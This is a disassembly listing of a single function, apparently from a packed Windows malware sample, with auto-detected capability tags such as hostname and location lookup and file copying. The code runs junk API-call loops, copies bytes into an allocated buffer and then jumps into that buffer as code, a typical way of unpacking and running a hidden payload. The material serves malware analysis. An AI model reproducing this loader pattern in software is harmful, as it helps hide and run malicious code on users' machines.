Function at 0x402211
Capabilities:
Copy file
Delete directory
Get common file path
Get disk information
Get geographical location
Get hostname
Set file attributes

Disassembly:
mov eax, 0x41a3d9
call fcn.0041a2e0
mov eax, 0x10f8
call fcn.00418790
mov ecx, dword [0x1dec5a8]
push ebx
push esi
xor ebx, ebx
push edi
cmp ecx, 0x93
jne 0x402311
push ebx
call dword [sym.imp.KERNEL32.dll_AddAtomW]
xor eax, eax
push ebx
btr dword [eax], 0
lea eax, [ebp - 0x904]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push ebx
lea eax, [ebp - 0x50]
push eax
push ebx
push ebx
push str.nuruxotuzomesodegekozu
push ebx
call dword [sym.imp.GDI32.dll_GetCharacterPlacementW]
push ebx
lea eax, [ebp - 0x504]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push ebx
call fcn.00406856
pop ecx
push ebx
call fcn.0040571b
pop ecx
push ebx
push ebx
call fcn.004063a0
xorps xmm0, xmm0
call fcn.004010f8
call fcn.00404b71
push ebx
push ebx
call fcn.004056ee
push ebx
push ebx
call fcn.004064c4
push ebx
call fcn.0040638b
add esp, 0x1c
push ebx
call fcn.004068cd
pop ecx
push ebx
call fcn.0040638b
mov dword [esp], 0x423b3c
call fcn.004063ee
pop ecx
lea ecx, [ebp - 0x1c]
call fcn.00402c5a
lea eax, [ebp - 0x14]
mov dword [ebp - 4], ebx
push eax
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x14], ebx
call fcn.00402c67
push ecx
push ecx
lea ecx, [ebp - 0x104]
call fcn.00402ca4
lea ecx, [ebp - 0x104]
call fcn.004024b7
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.00402c94
mov ecx, dword [0x1dec5a8]
mov eax, dword [0x42c220]
add ecx, 0x1134b
push ecx
push ebx
mov dword [0x1dec5ac], eax
mov dword [0x1dec5a8], ecx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x1debf9c], eax
call fcn.004021a6
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, 0xa90ee
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetMenuItemID]
call edi
dec esi
jne 0x402344
mov ecx, dword [0x1dec5a8]
mov esi, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
test ecx, ecx
je 0x4023bf
mov eax, dword [0x1dec5ac]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0x1debf9c]
mov byte [eax + esi], cl
mov ecx, dword [0x1dec5a8]
cmp ecx, 0x490
jne 0x4023ba
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
push 0
call ebx
xor ecx, ecx
lea eax, [ebp - 0x504]
push ecx
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x18]
push eax
push ecx
lea eax, [ebp - 0x904]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [0x1dec5a8]
inc esi
cmp esi, ecx
jb 0x402363
xor esi, esi
lea eax, [ecx + esi]
cmp eax, 0x8d
jne 0x40240b
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
xor ecx, ecx
lea eax, [ebp - 0x18]
push ecx
push eax
push ecx
lea eax, [ebp - 0x504]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push 0
lea eax, [ebp - 0xd04]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
mov ecx, dword [0x1dec5a8]
inc esi
cmp esi, 0x38681
jl 0x4023c1
push ecx
call fcn.00402163
xor esi, esi
call edi
cmp esi, 0x62
jne 0x402428
call fcn.0040218a
inc esi
cmp esi, 0x674db
jl 0x40241c
push 0x7b
pop esi
cmp dword [0x1dec5a8], 0x86
jne 0x402496
xor edi, edi
lea eax, [ebp - 0x28]
push edi
push eax
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x1104]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push edi
call dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
xor eax, eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x14]
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputAttribute]
dec esi
jne 0x402434
push 0x423b40
call ebx
call dword [0x1debf9c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret